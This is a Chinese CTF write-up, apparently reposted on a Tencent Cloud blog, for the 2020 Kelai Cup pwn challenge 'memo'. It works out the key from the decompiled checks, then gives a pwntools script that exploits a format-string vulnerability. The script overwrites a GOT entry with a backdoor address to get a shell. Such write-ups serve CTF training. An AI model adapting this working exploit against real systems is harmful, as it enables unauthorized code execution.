前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2020科来杯PWN铜牌2-memo

2020科来杯PWN铜牌2-memo

作者头像
yichen
发布2020-11-23 16:53:53
5260
发布2020-11-23 16:53:53
举报

跟去年那个格式化字符串漏洞的题一样,只是改了改 key 的值,验证过程是这样的

注意那个 v2 是 esp+Eh 而我们的 s 是 esp+Ah,也就是说输入的 6 个 key 有两个会写到 v2 上,v2 是我们可控的,那个 SBYTE1 不知道是啥,对着去年省赛用 angr 解出来的 key 猜测是第二位,SBYTE1(v2) 就是 s 的最后一位了

代码语言:javascript
复制
s[0]=81 即 Q
81 * SBYTE1(v2) =4131 得到 SBYTE1(v2) 为 51 即 3
s[2] / SBYTE1(v2) = 2 得到 s[2] = 102 即 f
SBYTE1(v2) + (char)v2 = 141 的 (char)v2 = 90 即 Z
(char)v2 - s[1] = 18 得 s[1] = 72 即 H
那么现在是:QHf?Z3,s[3] 我取了个 0 成功了

QHf0Z3,拿到 key 之后就是简单的格式化字符串漏洞了,程序本身有个后门,可以 cat flag

数一下偏移在第五个

然后直接用 fmtstr_payload()

代码语言:javascript
复制
from pwn import *
#p=process('./memo')
p=remote('10.100.100.2',10999)
p.recvuntil("Key:")
p.sendline("QHf0Z3")
p.recvuntil("your msg:")
payload = fmtstr_payload(5, {0x804C018:0x8049211})
p.sendline(payload)
p.interactive()

====== 完 ======

这道题当时一打开发现跟去年的差不多,激动的马上打开虚拟机进了 docker,结果忘了 angr 的 docker 是咋用的了 Orz...

把虚拟机快照还原到之前刚安装 angr 的那个,在虚拟机的 history 命令中找到了个 su angr(还好当时输错了终端2333),结果用存的几个模板没跑出来 key,又懵了

后来还是靠自己看伪代码算出来那个 key

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档